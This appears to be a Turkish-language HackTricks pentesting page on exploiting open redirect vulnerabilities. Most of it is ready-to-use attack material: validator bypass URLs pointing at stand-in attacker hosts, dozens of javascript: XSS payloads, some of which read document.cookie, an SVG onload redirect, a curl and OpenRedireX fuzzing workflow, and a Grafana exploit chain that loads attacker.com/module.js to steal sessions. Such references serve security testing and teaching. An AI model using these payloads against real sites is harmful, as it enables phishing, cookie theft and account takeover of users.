Open Redirect

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Open redirect

Redirect to localhost or arbitrary domains

  • Eğer uygulama “allows only internal/whitelisted hosts” diyorsa, redirect hedefi üzerinden loopback veya iç ağ aralıklarına ulaşmak için alternatif host gösterimlerini dene:
  • IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Bu tür adresler yalnızca “subdomains of X” izinli olduğunda ama host çözümlemesi hâlâ 127.0.0.1’e işaret ettiğinde kullanışlıdır.
  • Network-path references sıklıkla, başına scheme ekleyen veya sadece prefixleri kontrol eden yüzeysel doğrulayıcıları atlatır:
  • //attacker.tld → scheme-relative olarak yorumlanır ve mevcut scheme ile site dışına çıkar.
  • Userinfo tricks, trusted hosts’a karşı yapılmış contains/startswith kontrollerini baypas eder:
  • https://trusted.tld@attacker.tld/ → tarayıcı attacker.tld’ye gider ama basit string kontroller trusted.tld’yi “görür”.
  • Backslash parsing confusion between frameworks/browsers:
  • https://trusted.tld@attacker.tld → bazı backendler “\” karakterini path char olarak ele alıp doğrulamayı geçer; tarayıcılar bunu “/” olarak normalize eder ve trusted.tld’yi userinfo olarak yorumlayıp kullanıcıları attacker.tld’ye gönderir. Bu ayrıca Node/PHP URL-parser uyumsuzluklarında da görülür.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Daha modern URL-based bypass payloads ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect ile svg dosyalarını yükleme
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Yaygın injection parametreleri

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Kod örnekleri

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (pratik)

  • Tek bir URL kontrolü curl ile:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Muhtemel parametreleri büyük ölçekte keşfedin ve fuzz yapın:
Click to expand ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- SPAs'taki client-side sinks'i unutmayın: window.location/assign/replace ve query/hash'i okuyup redirect yapan framework helper'larını arayın.

- Frameworkler, redirect destinasyonları güvensiz girdilerden (query params, Referer, cookies) türetildiğinde sıklıkla footgun'lar oluşturur. Next.js ile ilgili redirect notlarına bakın ve kullanıcı girdisinden türetilen dynamic destinasyonlardan kaçının.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: open redirectors'ın kötüye kullanılması sıkça authorization codes/tokens'in leak edilmesi yoluyla account takeover'a yükselir. Ayrıntılı rehbere bakın:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): Yalnızca URL.Path’i kontrol eden ve URL.Fragment’ı göz ardı eden validator’lar, dış host’u # sonrasına koyarak kandırılabilir. Eğer handler daha sonra Location’ı unsanitized string’ten oluşturursa, fragment’lar redirect hedefine leak olur. Örnek /user/auth-tokens/rotate’e karşı:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): Bir path’i tamamen decode eden (çift-encoded ? dahil) SPA yardımcıları, doğrulama için query’i çıkarır ama sonra the original string’i geri döndürür; böylece encode edilmiş ../ hayatta kalır. Tarayıcı daha sonra decode ederek bunu herhangi bir same-origin endpoint’e (örn. redirect gadget) yönelik bir traversal’a çevirir. Payload pattern:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • Path traversal rotate endpoint’e ulaşır; bu endpoint fragment-smuggled redirectTo’tan attacker.com/module.js’e 302 döndürür. Saldırgan origin’inin JS’i permissive CORS ile sunmasını sağlayın ki tarayıcı bunu çalıştırıp session hırsızlığı/hesap ele geçirmeye yol açsın.

Araçlar

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin